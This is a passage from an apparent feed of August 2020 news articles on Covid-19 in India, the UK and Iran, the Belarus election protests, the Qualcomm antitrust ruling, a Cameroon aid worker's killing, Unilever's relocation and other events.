far tested under 18,000 people per million population, or one in 50 people. The combined average for the 20 countries with the highest Covid-19 cases, for comparison, is over 62,000 tests per million population. The Prime Minister also cited the strategy he had worked upon in consultation with the Union Home Minister Amit Shah who is currently undergoing treatment for Covid-19 in Medanta hospital to rein in the number of cases in Delhi and adjoining areas of Haryana. "When it seemed as if the situation in Delhi and Haryana had become worrying, I held a review meeting with all the leaders including the Home Minister and in a large measure, we were able to bring things under control within 10 days," Modi said. He said that the increased awareness among the public at the grassroots level with regard to the preventive measures needed to be taken to avoid the spread of Covid-19 were helping the country in its fight against the novel coronavirus. Boris Johnson insisted it will be safe for children to return to school in England in September despite reports a study has found secondary school pupils transmit coronavirus like adults do. The British Prime Minister said he had no doubt that schools would be able to reopen, but stressed the need for discipline to prevent the spread of the virus. Education Secretary Gavin Williamson has insisted that research showed little evidence that the virus is transmitted at school, and Health Minister Edward Argar warned against reading too much into the unpublished work by Public Health England (PHE). Prime Minister Boris Johnson during a visit in Herefordshire (Matthew Horwood/PA) The Times reported preliminary results from the PHE work suggests that primary schools pose little danger, with only six positive tests out of 9,000 tested so far. But it is thought that the study, which divided children into under-10s and over-10s, discovered a difference in the older group, which researchers now want to investigate when secondary schools reopen fully. Asked how worried he was about the report, Mr Johnson said schools had done a fantastic job preparing to readmit all pupils. He told reporters during a visit to Herefordshire: I have no doubt that it can be done safely. Schools are doing a huge amount to make sure that it is done safely. Just for the sake of social justice, ensuring that all our kids get the education they need, we need to get our pupils, our children, back to school in September, and I am very, very impressed by the work that has been done to make those schools Covid-secure. He added: Im afraid you are going to see outbreaks, we have seen them across the country in the last few weeks and months and we have also seen the immense efforts that local authorities have gone to, local communities have gone to, to get that outbreak under control. The most important thing for people to remember is that you have got to get schools back, we will get schools back, but also we have got to stick to our discipline so in schools they have some very well thought-through plans for how to manage it. Evidence so far indicates that schools do not appear to be a primary driver of coronavirus infections in the community Viv Bennett, Public Health England PHE dismissed suggestions that its findings could lead to older pupils being subjected to tougher rules. Viv Bennett, PHE chief nurse, said: Parents can be reassured that to maximise safety in schools, an extremely stringent system of controls has been advised by PHE and is published in Department for Education guidance. Evidence so far indicates that schools do not appear to be a primary driver of coronavirus infections in the community. Globally children and young people have been found to experience coronavirus asymptomatically or as a minor illness. Age remains the biggest determinant for severe illness and complications in children and young people are extremely rare. Reports that PHE has recommended tougher rules for older children are incorrect. Pupils returning to school in the Scottish Borders (Owen Humphreys/PA) The findings of PHEs analysis of cases and outbreaks in educational settings will be published in due course. Mr Argar told Sky News: I think we should be cautious about reading too much into that work in progress, its important work but it isnt complete yet. But he added: On the basis of the work that has been completed and those international comparators, we are confident that children and young people are much less at risk from this disease and from passing it on than other adults more broadly in the community. Preparations for English schools to fully reopen continued as some Scottish children returned to class for the first time since March. Pupils in the Scottish Borders are returning on Tuesday, as are some in Shetland on a phased basis. The hearing of a bail plea before the Supreme Court on Tuesday witnessed some lighter moments with the Chief Justice of India (CJI), SA Bobde, citing that the petitioner was seeking permission to leave jail on the day of Sri Krishna Janmashtami, the day Lord Krishna was believed to have been born inside a jail. The court was hearing a plea by one Dharmendra Valvi, who was convicted and sentenced to life imprisonment for murder. You want bail or jail? Today Lord Krishna was born in jail. Do you want to leave jail? CJI Bobde asked the petitioners counsel in jest. The counsel replied in the affirmative. Good. Religion is not something you are extremely attached to, the CJI remarked before granting bail. Sri Krishna Janmashtami is an annual Hindu festival celebrating the birth of Lord Krishna, an incarnation of Lord Vishnu. Krishna is believed to have been born in a prison cell in Mathura where his parents, Devaki and Vasudeva, were imprisoned by his uncle Kansa. Dharmendra Valvi, a Congress I party member, and five other party workers, were accused of murdering a political opponent from the BJP in 1994. They were convicted and sentenced to life imprisonment by the trial court and the same was upheld by the Bombay high court in September 2017. The appeal against the high court verdict is pending before the Supreme Court. During the pendency of the main appeal, the appellant, Dharmendra Valvi is directed to be released on bail on furnishing bail bonds in the sum of Rs 25,000 with two sureties of the like amount, the top court ordered. Money has been stolen from a charity box outside the Royal National Lifeboat Institution's (RNLI) lifeboat station in Donaghadee. The ornate lifeboat-shaped charity box has been on display outside the Co Down station for over 10 years and has never been targeted before. The discovery was made by the station's full-time mechanic on his way to work on Friday morning. The RNLI said that during the summer months the charity box can collect a substantial sum of money from donations made by passers-by. Speaking on behalf of the station, RNLI chairman Alan Couser commented that the Donaghadee crew, fundraisers and operations team are all incredibly disappointed and shocked that the theft had taken place. "After so many years of being on display the thought that some elements of society have reached the point of stealing from a charity that has men and women voluntarily going to sea to save lives is dreadful," he said. "On the flip side, the generosity of donations being made via our social media page has been phenomenal. "We have had support from many local businesses both financially and offering practical help so that this doesn't happen again. "This is a truer reflection of the local and wider community we live in; we are extremely grateful to every single person that has donated and very touched by the support shown." Lifeboat operations manager Brian McLawrence urged those who may have information or noticed anything untoward on the shore front of Donaghadee in the early hours of Friday to contact Newtownards PSNI Station, where the theft was reported. "The majority of fundraising activities have been suspended due to Covid-19, which makes this incident even more disappointing," he added. "Donaghadee has been very busy so we would have been expecting quite a large sum from this box, as it is a popular stop for people to pop some money into while going for a walk up the harbour. "Hopefully we are able to apprehend the culprits and prevent another potential theft from someone else." "The SkyStem product team places heavy focus on ease of use and customer service, by making everything as user friendly as possible. SkyStem LLC, a provider of automated month-end close account reconciliation software, is proud to announce winning the FinTech award from Wealth and Finance International for Best Month-End Close and Reconciliation Solution. This fintech award honors SkyStem achievements with their flagship solution ART and reflects the efforts of the entire organization. The Fintech Awards, hosted by Wealth & Finance are dedicated to rewarding and recognizing the hard work, excellence and creativity of FinTech companies, start-ups, technologies and products. The global recognition caters to all who have displayed outstanding innovations and contributions to the advancement of technology across sectors. The coverage range for their awards relates to payment innovations, customer experience, data, trading, banking and lending. "The SkyStem product team places heavy focus on ease of use and customer service, by making everything as user friendly as possible. said Shagun Malhotra, CEO, and Founder of SkyStem. SkyStems vision has always been to help customers do more with less. Awardees demonstrate expertise within their field, dedication to client service, and/or commitment to excellence and innovation. With over 3,000 nominees from around the world, judges narrowed the pool down to approximately 1,200 with 100 winners throughout various categories, SkyStems solution ART took home the covenant award for Best Month-End Close and Reconciliation Solution To see the complete article and for more information about SkyStem, please click here. About Wealth and Finance International Wealth & Finance International has rapidly become the go-to resource for those looking to secure and increase their wealth. Their magazine is distributed each month to more than 130,000 high net worth and ultra-high net worth individuals, fund managers, institutional investors and professional services firms. Wealth & Finance International publication and website provides the latest news, features, opinion and comment, in conjunction with a host of top-level advisors, experts and businesspeople. About SkyStem LLC Headquartered in the heart of New York City, SkyStem delivers a powerful month-end close solution for organizations seeking to streamline their financial processes. The companys flagship solution, ART, is an enterprise technology that helps CFOs and Controllers shorten the month-end close and the time to issue financials by automating balance sheet reconciliations, managing month-end tasks, performing flux analysis and providing insightful reporting. The web-based solution streamlines and eliminates up to 90% of manual activities while strengthening internal controls and corporate governance. A man is fighting for his life in hospital after being hit by a bus in north-west London. Emergency services were called to Harrow Road shortly before 7pm on Monday following reports of a crash involving a pedestrian and a bus. The man, believed to be in his 40s, was rushed to hospital for treatment. His condition remains critical, Metropolitan Police said in a statement. Footage of the scene showed the windscreen of a red double-decker completely smashed on one side. Road closures remained in place in the hours after the incident. Enquiries into the circumstances continue. No arrests have been made. MOSCOW, Aug 10 (Reuters) - President Alexander Lukashenko said on Monday that authorities would not let Belarus be ripped apart by instability after huge protests erupted following a presidential election on Sunday, the Belta news agency reported. Opposition candidate Svetlana Tikhanouskaya has rejected the official results handing President Alexander Lukashenko a landslide victory, saying the poll was rigged and that protests which turned bloody on Sunday would continue. "The response will be appropriate. We won't allow the country to be torn apart," Lukashenko was quoted by Belta as saying. (Reporting by Andrey Kuzmin; Writing by Tom Balmforth; Editing by Alison Williams) Russia also intends to start using the potential vaccine on willing front-line medical workers and teachers, who will be asked to document how theyre feeling. But while Russian officials have repeatedly assured that the vaccine is safe, Dmitriev was unable to say if it was tested on someone already infected with the coronavirus. Some vaccines, like one developed for dengue fever and used in the Philippines, can make the disease more severe. A 28-year-old man with an engineering degree who allegedly headed a gang that looted cash from at least seven automated teller machines (ATMs) in several districts of Madhya Pradesh in the past one year, escaped from a district hospital while he was being treated for Covid-19, on late Monday night, police said on Tuesday. Devendra Patel was arrested in Damoh district, 264 kilometres east of Bhopal, along with five of his accomplices on July 25, according to police. He tested positive for coronavirus on Sunday after which he was being treated in Damoh district hospital when he escaped from the custody. Superintendent of police (SP), Damoh, Hemant Chauhan said, An engineering graduate Devendra was the mastermind of the loots. Three days ago, he was produced before the court after completion of police remand and was sent on judicial custody by the district court. Before he was lodged in the jail, he was tested for coronavirus when the report that came on Sunday suggested that he was Covid-19 patient. He was admitted in the district hospital on the same day. Two jail guards were present at the hospital to keep an eye on him but he succeeded in dodging them and escaped from the hospital. Police have registered an FIR and an investigation is going on in the matter. Six teams have been formed to track down the accused, said Chauhan. Police have also announced a reward of 10,000 for anyone who will provide information about Patel. According to police, Patel formed his gang a year ago and started looting ATMs by blowing them up with explosives. Patel had learnt the technique of looting ATMs on the internet. The gang members used to reach the targeted ATM on two bikes with their faces covered. Two of them used to overpower the ATM guard and sprayed black paint on CCTV cameras installed in the ATM booth while two of them used to connect the detonator with a battery of the bike and the remaining two used to collect the cash. It usually took about 14 minutes for them to commit the robbery. Police had finally tracked down the gang after months of investigation. But now, the hunt for Patel has started all over again. Qualcomm did not violate antitrust law by using its monopoly power over smartphone chips by charging substantial licensing fees and threatening to cut off all supplies to equipment manufacturers that refused to pay the rates, a federal appeals court ruled Tuesday, reversing a lower-court ruling. U.S. District Judge Lucy Koh of San Jose had ruled in May 2019, after holding a non-jury trial, that the San Diego technology giant had illegally used its domination of the chip market to charge unreasonable royalty fees to manufacturers and stifle competition. She ordered Qualcomm to change its practices and renegotiate its contracts. But a panel of the Ninth U.S. Circuit Court of Appeals in San Francisco put Kohs ruling on hold last August, and on Tuesday another Ninth Circuit panel overturned the ruling. Qualcomm has not engaged in illegal anti-competitive behavior, but only in hyper-competitive behavior, Judge Consuelo Callahan said in the 3-0 ruling. The policy challenged in the case, called no license, no chips, denied sales to makers of phone handsets that refused to pay Qualcomms patent royalties which the company charged even on chips that were bought from other suppliers. But Callahan said the manufacturers are Qualcomms customers, not its competitors. Qualcomms patent-licensing royalties and no license, no chips policy do not impose an anti-competitive surcharge on rivals modem chip sales, she said. Profit-seeking behavior alone is insufficient to establish antitrust liability. The ruling was joined by Ninth Circuit Judge Johnnie Rawlinson and by U.S. District Judge Stephen Murphy of Detroit, temporarily assigned to the appeals court. Qualcomms policy was challenged by the Federal Trade Commission in a 2017 lawsuit. The FTCs Bureau of Competition director, Ian Conner, said, The courts ruling is disappointing and we will be considering our options. The commission could ask the full appeals court for a rehearing or appeal to the Supreme Court. Joshua Landau, lawyer for the Computer and Communications Industry Association, a trade group that filed arguments against Qualcomm, said Kohs ruling last year detailed how Qualcomms anti-competitive business practices have driven its competitors out of the modem business and raised prices in the cellular industry. The Ninth Circuit ignored ignored those factual findings. But Dan Rosenberg, Qualcomms general counsel, said the ruling validates our business model and patent licensing program and underscores the tremendous contributions that Qualcomm has made to the industry. The Trump administrations Justice Department rejected the FTCs position and filed arguments backing Qualcomm. Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes Apple had sued Qualcomm in 2017 over its charges for sales of chips used in iPhones. But Apple agreed to a settlement in April 2019 and said it would pay royalties for at least six years, and a one-time payment of at least $4.5 billion, while using Qualcomm chips in its phones. The core of Tuesdays ruling, said David Reichenberg, a New York antitrust lawyer not involved in the case, was that the FTC did not explain how allegedly charging too high a royalty injured competitors for example, how Qualcomms practices hindered Intels sales of its own chips. He said the court reasoned that, as an individual cellphone consumer, you can still buy from whoever you want, as long as you still pay a royalty to which Qualcomm is entitled. To show an antitrust violation, Reichenberg said, the federal commission needed to find an overcharge that consumers are paying that they shouldnt have had to pay. Apple bought most of Intels smartphone modem business last year for $1 billion, in a deal that Intel said in court documents made it incur a multibillion-dollar loss. Intel executives alleged in filings in the case that Qualcomms tactics forced it out of the market. Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@ sfchronicle.com Twitter: @BobEgelko The coronavirus pandemic has prompted global makers of luxury goods, as well as high-end US retailers, to overhaul their sales strategies in a bid to ride out the downturn. Luxury brands are turning to sales via social media in China, and US luxury retailers are moving from highly personal service in stores to online and even curbside sales to capture stay-at-home-consumers. Lockdowns imposed worldwide to fight the coronavirus have battered sales of luxury goods. Gucci's revenue in the first half fell 34 percent to $3.64 billion and operating profit slid 51 percent, its parent company, Paris-based Kering, reported on July 28. At two of its main rivals, Louis Vuitton and Dior, the French luxury brands owned by LVMH, sales of fashion and leather goods slid 23 percent for the half year. But Kering said that sales on the Chinese mainland increased 40 percent in the second quarter compared with the same period of 2019, and LVMH reported that sales of its top fashion brands Louis Vuitton and Christian Dior jumped 65 percent in China. The halt in international travel means luxury goods makers have been deprived of the sales that would have come from Chinese consumers vacationing overseas. Brands' main hope With the European and US economies hurting, China is the brands' mainif not onlyhope this year to spark sales. This reality is behind the top luxury brands' switch to social media for sales in China. China's luxury shoppers are expected to make 50 percent of all global luxury purchases this year. But they will mostly shop from home, according to consulting firm Gartner. In the US, people generally are staying away from public places, and luxury retail stores are trying to figure out how to sell to customers who aren't in their buildings. Tiffany & Co, Bloomingdale's and Neiman Marcus Group have responded by selling products via FaceTime and curbside pickup. But curbside drop-off and pickup don't mean just putting a shopping bag in a car trunk, Charles Anderson, Bloomingdale's director of stores, told Bloomberg News. "You have to be cautious and careful and attuned to how much or how little interaction customers are looking for," he said. "If they pop open the trunk, then place it in the trunk and say thank you and move on. If they're looking to make eye contact and all of that good stuff, then let's make their day." Retailers also are using video chat so sales associates can connect with longtime customers. In the Hamptons, luxury shoe retailer Jimmy Choo is visiting customers' homes with vans of exclusive merchandise. All of this is a sea change for high-end retailers: moving from engaging shoppers in stores with stylized personal service to impersonal transactions that meet social distancing needs while trying to retain an air of exclusivity. This is "a transformative moment" for an industry that resists change, Christophe Cais, CEO of the Customer Experience Group, told Bloomberg. Agencies contributed to this story. Christopher Tanjoh, le travailleur humanitaire tue Arreyb media The United States has presented its condolences to the family and colleagues of Pastor Tanjoh Christopher Fon, who was killed August 7 in Batibo, an administrative unit in Cameroons restive Northwest Region. Pastor Tanjoh was a community leader and humanitarian aid worker with the local nongovernmental organization Community Initiative for Sustainable Development, the U.S. Embassy in Yaounde said in a dispatch Tuesday, August 11. The murder of Pastor Tanjoh is a terrible reminder of the dangers humanitarian aid workers face in the Northwest and Southwest Regions of Cameroon. We call for an independent investigation into the killing and for the perpetrators to be brought to justice in accordance with Cameroonian law, the press release reads. We condemn all acts of violence against humanitarian aid workers and call for their unhindered access to those in need in accordance with international humanitarian law. Cameroon-Info.Net remembers that Pastor Tanjoh Christopher Fon, 55, a humanitarian aid worker with the Community Initiative for Sustainable Development, COMINSUD, was murdered Friday, August 7, 2020, in Guzang, Batibo Subdivision, Momo Division of Cameroons North West Region. The Pastor of the New Apostolic Church was serving with COMINSUD as a field agent for the general food distribution project supported by the World Food Program (WFP) to affected and displaced persons in the Guzang cluster. Tanjoh Christopher was abducted from his home by armed men at about 9 a.m. and about 11 a.m., the family was alerted that he had been abandoned at the entrance to the St. John of God Hospital Batibo bleeding to death, said Fon Nsoh, Coordinator of COMINSUD. Concordant sources, including the immediate family members of the deceased, said Pastor Tanjohs crime was that he denounced the excesses of the armed men on the civilian population they claim to protect. In an audio recorded in the Moghamo local dialect and sent to an Amba captain, whom Tanjoh referred to as my junior brother, Tanjoh is head advising the rebel against greed and extortion. He also condemned kidnappings and extortion of ransom from the population they claim to protect. He said armed separatists could not claim to be fighting against La Republique when at the same time they were terrorizing the population. He concludes that as a Pastor, and under the God he serves, he would always stand for the truth. We think that as an older person and pastor, he did just what he was supposed to do. Civilians should not be the target and the object of the current armed conflict, said Fon Nsoh, COMINSUD Coordinator. If people are to fight for the population, they should not also make the population suffer. By every standard, civilians, especially aid workers, need protection within the context of the conflict between persons in arms. COMINSUD says they continue to appeal for the protection of humanitarian aid workers and the vulnerable population especially by all parties involved in the longstanding crisis in the North West and South West Regions since 2017. We remain deeply saddened by this horrific execution of a humanitarian by all standards and condemn the act in very strong terms. Our deepest condolences go to the family, Fon Nsohs dispatch read in part. Pastor Tanjoh was born on August 8, 1965, and was to celebrate his 55th birthday on Saturday, August 8, 2020. Sadly, he was buried in Guzang on his birthday. Hyderabad: Telangana recorded an addition of 1,896 new COVID-19 cases and eight more fatalities, pushing the total infection tally in the state to 82,647. The declining trend in fresh coronavirus cases continued in the Greater Hyderabad Municipal Corporation (GHMC), with only 338 new cases being reported, a state government bulletin said on Tuesday, providing data as of 8 PM on August 10. Rangareddy 147 cases, Karimnagar 121 and Medchal-Malkajgiri 119, Warangal Urban 95, topped the list of districts with positive cases. Except Nagarkurnool (7), all other districts reported cases in double digits. According to the bulletin, the case fatality rate in the state was 0.78 per cent, while it was 2.0 per cent at the national level. The total number of people who recovered from the infectious disease so far was 59,374, while 22,628 were under treatment. The recovery rate was 71.84 per cent in the state, while it was 69.33 per cent in the country. The bulletin said 18,035 samples were tested on August 10 taking the cumulative to 6.42 lakh. The call centre number for helpline, telemedicine and grievances is 104. People can contact 9154170960 on whatsapp for any grievances pertaining to private hospitals or laboratories, the bulletin added. State Health Minister Eatala Rajender, who held a review meeting with officials on Monday on complaints against private hospitals, said complaints had been received against almost all private hospitals in the city. Show-cause notice had been issued to every hospital and clarification was sought from them, an official release quoted him as saying. The minister directed constitution of a committee immediately to examine the clarifications given by the hospitals. He also instructed to initiate tough action against hospitals who are found guilty, it added. He asked health officials to draw up plans to take over 50 per cent of the beds in private hospitals, and to provide COVID-19 treatment to patients as per government norms, if there is no change in the attitude of private hospitals. A central team, which was on a visit to the city on Monday, also suggested action against hospitals as per the Epidemic Diseases Act, Rajender said. Darien Board of Education candidates Mike Burke and Sara Parent have received the endorsement of U.S. Rep. Jim Himes (D-4th District). I hope that you will join me in supporting Mike Burke and Sara Parent for the Darien Board of Education, Himes said in a statement. Mike knows how to open our schools safely, and he knows how to do what we need to do in the fiscally intelligent way that we like to do things in Darien. Himes cited Parents longtime leadership of the Council of Darien School Parents. She, too, knows what Darien education is all about, how we can reopen schools in such a way that our kids get the education that we want them to get, but that they are also, of course, healthy and safe, he said. Join me on Nov. 3 to support Mike Burke and Sara Parent, he said in the announcement. There are three seats up for re-election on Dariens Board of Education. Burke holds one. The other two are held by Republicans, including board Vice Chairman David Duke Dineen and Dennis Maroney. If Darien Republicans endorse both or another two candidates, the Democrats putting up two candidates could mean that the Board of Ed race is now a contested one. The last time a Board of Education race was contested appears to be 2014. In that case, the two Republican candidates Dineen and Michael Harman and one Democratic candidate, Burke, took the seats. Parent said the candidates are thrilled to have the support of Representative Himes. He cares deeply about doing what is best for the children and families of Connecticut. He represents us, and all of his constituents, with integrity and intelligence. Mike and I look forward to the opportunity to do the same for all children and families in Darien, she said. For more information, visit www.mikeandsara4darienschools.com. Belarusian Opposition Presents Broadest Challenge Yet To Strongman Lukashenka After Disputed Election By Robert Coalson, Yury Drakakhrust August 10, 2020 "I know that this morning, Belarusians have awakened in a new country," opposition presidential candidate Svyatlana Tsikhanouskaya said in a postelection statement on August 10. "And I hope that [this day] will bring only good news." Superficially, this "new country" in many ways resembles the old one -- a controversial presidential election that bore all the hallmarks of having been manipulated and falsified produced an official result of around 80 percent support for incumbent strongman Alyaksandr Lukashenka. Angry protests were put down with brutal force, as the opposition candidate urged security forces to show restraint while refusing to accept an official tally she said did not reflect the choice voters made. But in other ways, Belarus does indeed appear to be a new country, one in which opposition to the 65-year-old Lukashenka, who has ruled the country since 1994, is broader and more confident than ever before. "Belarusians are in general pretty rational and cautious people, and they aren't inclined to sudden, dangerous movements," said Belarusian journalist Dzmitry Navosha, who is a co-founder of the Sports.ru website "But regarding their ability and willingness to influence the way life is organized in the country and to influence the government, fortunately, some fundamental changes have begun." "It is interesting to discuss why this has taken so long and what was necessary to make it happen," Navosha added in an interview with RFE/RL's Russian Service. "My version is that the people who want change had to come to the realization that they are the majority.... People only gain the confidence and power to demand their rights at the moment when they form a clear majority." The election was held against the background of a contracting economy and Lukashenka's handling of the coronavirus pandemic, which he repeatedly dismissed as "mass hysteria." Following the presidential election in 2010, Belarusian security forces cracked down brutally on an opposition demonstration in Minsk, rounding up hundreds of demonstrators and seven of the candidates whom the fractured opposition ran against Lukashenka. Ten years later, on the night after polls closed in the August 9 election in which Lukashenka was seeking a sixth term, Belarusian security forces detained about 3,000 people, only about one-third of them in Minsk. The other detentions took place in about 33 other locations across the country, according to the Interior Ministry. 'Silent Majority' Belarusian political analyst Artsyom Shraybman told RFE/RL's Belarus Service that there were two key differences between the current events and those of a decade ago. "The resources of the security forces are diluted," he said. "They have had to disperse people from polling stations, and they cannot concentrate all their forces in Minsk because they need to leave assets in the regions and protect administrative buildings. As a result, the crackdown has not been focused on one location." In addition, Shraybman said, the protesters this time around had a clearer conviction that Lukashenka did not win the election and this is a "powerful motivation." "Now, apparently, a large number of people believe that they can change the government by taking to the streets," he concluded. A key to this transformation has been an important shift by the opposition -- one that seems to have occurred at least in part by force of circumstances imposed by the government. In past elections, broadly speaking, the "pro-Russian" Lukashenka has been opposed by a "pro-European" opposition that oriented itself toward Belarusian-speaking "patriots" and wrapped itself in the symbols of independent Belarus, analysts say. But in 2020, one leading opposition figure was the barred and arrested would-be candidate Viktar Babaryka, a former head of the Russian-controlled Belgazprombank, while other leading opposition figures such as former ambassador to Washington Valer Tsapkala and Tsikhanouskaya have eschewed anti-Russian statements. The opposition campaign was conducted almost exclusively in Russian, the most inclusive language in the country, as it is used at home by about 70 percent of the population. "From the beginning these [opposition] candidates did not orient themselves toward the Belarusian nationalist community but oriented themselves primarily toward those who were economically and socially disenchanted with Lukashenka -- the silent majority," Warsaw-based political analyst Pavel Usov said. Usov added that Belarus was seeing the awakening of an electorate that for a long time, either passively or actively, supported Lukashenka. It is an electorate "for whom matters of nationality and sovereignty and national symbols are not as important or immediate as questions of well-being, stability, and economic growth -- which was also the case in 1994," when voters first elected Lukashenka as a candidate of change. This "silent majority" of Belarusians might be best symbolized by 73-year-old writer Svetlana Alexievich, who won the Nobel Prize in literature in 2015. She writes exclusively in Russian, yet draws her literary and cultural antecedents from both the Belarusian and the Russian traditions and is an outspoken advocate of Belarus's sovereignty. "Lukashenka thought he could deceive this silent society, that he could tell tales, scare them with fear," she told RFE/RL in an interview in late July. "Nothing like that happened. A new generation has grown up [and] middle-aged people have regained consciousness. These are not the same people who existed 26 years ago when Lukashenka began to rule." Belarusian economist and political commentator Syarhey Chaly said he was surprised by the turnout on August 9. "Many of those who came to vote this time were being politically active for the first time," he told Current Time, a Russian-language television network run by RFE/RL in cooperation with VOA. "They never voted before and never participated in any demonstrations. These were people who previously had been apolitical." In the run-up to the August 9 vote, Lukashenka's government barred all the significant would be opposition candidates -- Babaryka, Tsapkala, and Tsikhanouskaya's popular vlogger husband, Syarhey -- from running. For the opposition, this had the salutary effect of uniting it around the candidate who was allowed to run, Tsikhanouskaya. Moreover, the government's move -- which may have resulted from what critics charge is deep-seated sexism that prevented it from taking Tsikhanouskaya seriously -- fundamentally transformed the campaign. Tsikhanouskaya openly disavowed any pretensions to the presidency and ran essentially on one basic promise -- to hold a free and fair presidential election as soon as possible after taking office. Instead of a traditional race between differing candidates with defined platforms, the 2020 election became a choice between having the right to choose and not having the right to choose. "Right now we are seeing the rising up of a civic nation in which people are rejecting the idea that has long been pounded into them that 'nothing depends on us and we are no one and everything is decided from above and we are just little people,'" journalist Navosha said. "Now they are expressing their rights and demands and their desire to influence what happens in their country." 'We Are The Government' Navosha argued that the coronavirus pandemic may have played an important role in solidifying this civic nation. "I think the origin of this civil society was when thousands of people collected millions of dollars and created a complex logistical system to provide necessary supplies to distant rural hospitals, which the government was not doing," he said. "Essentially, they created a parallel Health Ministry, and, by the way, a significant number of those people are now working in the campaigns of the opposition candidates." "So they ask themselves what they need such a government for," he added. "They are saying, 'We are the government and we are going to do what we want.'" Minsk-based economist Chaly agreed, saying that the emerging situation will be perilous for Lukashenka to handle. "To be honest, I do not know what the authorities can do now," he said. "What can be done with a nation that has for the first time realized that it was victorious, and the election was simply stolen?" The main thing that has changed since Lukashenka was able to suppress the postelection protests in 2010, Chaly added, is that "now the majority knows that they are the majority." "They know that the election was stolen," he added. "And a return to ordinary life -- I can't imagine how that will be possible." Written by Robert Coalson based on reporting by Yuri Drakakhrust of RFE/RL's Belarus Service, with additional reporting by RFE/RL's Belarus Service, Russian Service, and Current Time Source: https://www.rferl.org/a/as-belarus-strongman -seeks-to-extend-his-embattled-rule- moscow-watches-warily/30776574.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Iran has shut down a Tehran-based business daily after it quoted an epidemiologist critical of the governments handling of the pandemic, state news agency IRNA reported. The economic daily Jahan-e Sanat published on Sunday an interview with a member of the countrys national coronavirus task force who accused the government of covering up the scale of the outbreak. Mohammadreza Mahboubfar told the paper the number of coronavirus case counts could be 20 times higher than reported. There was no transparent flow of information, Mahboubfar said, according to Reuters. The government only provided engineered figures over concerns about [its impact] on the election and the commemorations of the revolution anniversary. Jahan-e Sanats managing editor, Mohammad Reza Saadi, told state-run IRNA on Monday that the newspaper had been temporarily suspended. The New York-based Committee to Protect Journalists (CPJ) called on Iranian authorities to reverse their decision. This latest move to target a newspaper for reporting on COVID-19 is an irresponsible act in the face of the biggest public health crisis of our time, said CPJ Middle East and North Africa representative Ignacio Miguel Delgado. The closure of Jahan-e Sanat is an unfortunate continuation of Irans long practice of suppressing information to the detriment of the Iranian peoples well-being, he said. Iran is one of the most oppressive countries for journalists, according to Reporters Without Borders, which ranked the Islamic Republic 173rd out of 180 countries in its yearly press freedom index. The newspapers closure comes as experts have cast doubt on Irans official coronavirus figures. As of Monday, the Health Ministry has confirmed more than 328,000 cases and 18,616 deaths. Citing leaked government records, the BBC's Persian news service reported that the death toll is nearly triple the official numbers. Leaked hospital data appears to show at least 451,000 people in Iran had contracted coronavirus and nearly 42,000 people had died. Amid what the Health Ministry described as an alarming spread in cases, Deputy Health Minister Iraj Harirchi acknowledged last month that the death toll is likely much higher than has been officially reported. Samuel Koku Anyidoho, Founder and Chief Executive Officer of the Professor Atta Mills Institute, has warned Managing Editor of the Insight Newspaper, Kwesi Pratt Jnr to stop peddling falsehood about former President Jerry John Rawlings. According to the former aide of the late President Mills, Mr Pratt and his paymasters once visited President Mills to request his (Koku Anyidoho) dismissal from the Presidency. Kwesi Pratt, in a recent interview, disclosed that the people of the Volta Region have been constantly humiliated by those who claim they vote for NDC because Rawlings hails from there. The Volta Region has consistently voted for the NDC hence there must be a reason other than the Rawlings factor. So, its not true that Volta Region votes for a party because of Rawlings. Rawlings was not part of the CPP, he was not part of the National Alliance of Liberals. So that cannot be true, the people of the Volta Region know themselves, they know their aspirations, they know their needs. Dont treat them as if they are herds of cattle. If you go and you refer to them as inward-looking people do you expect them to vote for you? Koku Anyidoho, reacting in a series of tweets, threatened to expose Kwesi Pratt if he continues to talk rubbish about the former President. If, Kwesi Pratt knows what is good for him, he should stop deriding Jerry John Rawlings; because Pratt does not love the NDC more than Jerry John Rawlings. Has Kwesi Pratt so soon forgotten how he tried in vain, with the collaboration of his paymasters, to get President Atta-Mills to sack me from the Presidency, but President Atta-Mills did not budge? If he does not stop talking rubbish about Jerry John Rawlings,I will expose him. Did Kwesi Pratt not come to the Office of President Atta-Mills, one morning, with one of his paymasters, and one, babies with sharp teeth, to attempt to get President Atta-Mills to sack me? President John Evans Atta-Mills, sacked them from his Office. Shame on Kwesi Pratt, he tweeted. Samuel Koku Anyidoho (@KokuAnyidoho) August 10, 2020 Has Kwesi Pratt so soon forgotten how he tried in vain, with the collaboration of his paymasters, to get President Atta-Mills to sack me from the Presidency, but President Atta-Mills did not budge? If he does not stop talking rubbish about Jerry John Rawlings,I will expose him. Samuel Koku Anyidoho (@KokuAnyidoho) August 10, 2020 If, Kwesi Pratt knows what is good for him, he should stop deriding Jerry John Rawlings; because Pratt does not love the NDC more than Jerry John Rawlings. Samuel Koku Anyidoho (@KokuAnyidoho) August 10, 2020 Source: Josephine Acheampomaa/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Dutch politicians have proposed a radical 'exit tax' for businesses that could scupper Unilever's bid to establish a sole headquarters in the UK. The proposal from Left-wing opposition party GroenLinks would sting firms trying to relocate away from the Netherlands with huge bills. The consumer goods group, which is consolidating its Anglo-Dutch dual structure into one London-based company, yesterday warned that the suggested law would cost it 10billion if enacted. Unilever's headquarters in Rotterdam, Netherlands. The firm is consolidating its Anglo-Dutch dual structure into one London-based company This was so high that it would make plans to unify the company in the UK unviable, it added. However, Unilever also said it believed the proposals were illegal and would breach European Union rules, as well as other international agreements signed by the Netherlands. The law is being considered by the Netherlands' Council of State, which will give an advisory opinion as to whether it is legal, and it would then have to be passed by both of the country's legislative chambers. No date has been set for the council's decision. Unilever said it expected the relocation of its legal base to London to be finished by November. The Anglo-Dutch firm announced it would become a single UK business in June after 90 years of having a dual structure with bases in both London and Rotterdam. It will hold an extraordinary general meeting on September 21 for investors in the Netherlands to vote on the plan, while the meeting for UK-based shareholders will take place on October 12. Its previous bid to relocate to the Netherlands in 2018 was called off by shareholder objections and a campaign by the Daily Mail. The coronavirus pandemic chalked up another horrific milestone Monday as the world surpassed 20 million recorded cases of infection from the tiny killer that has upended life just about everywhere. The number as of 2215 GMT was 20,002,577 cases, 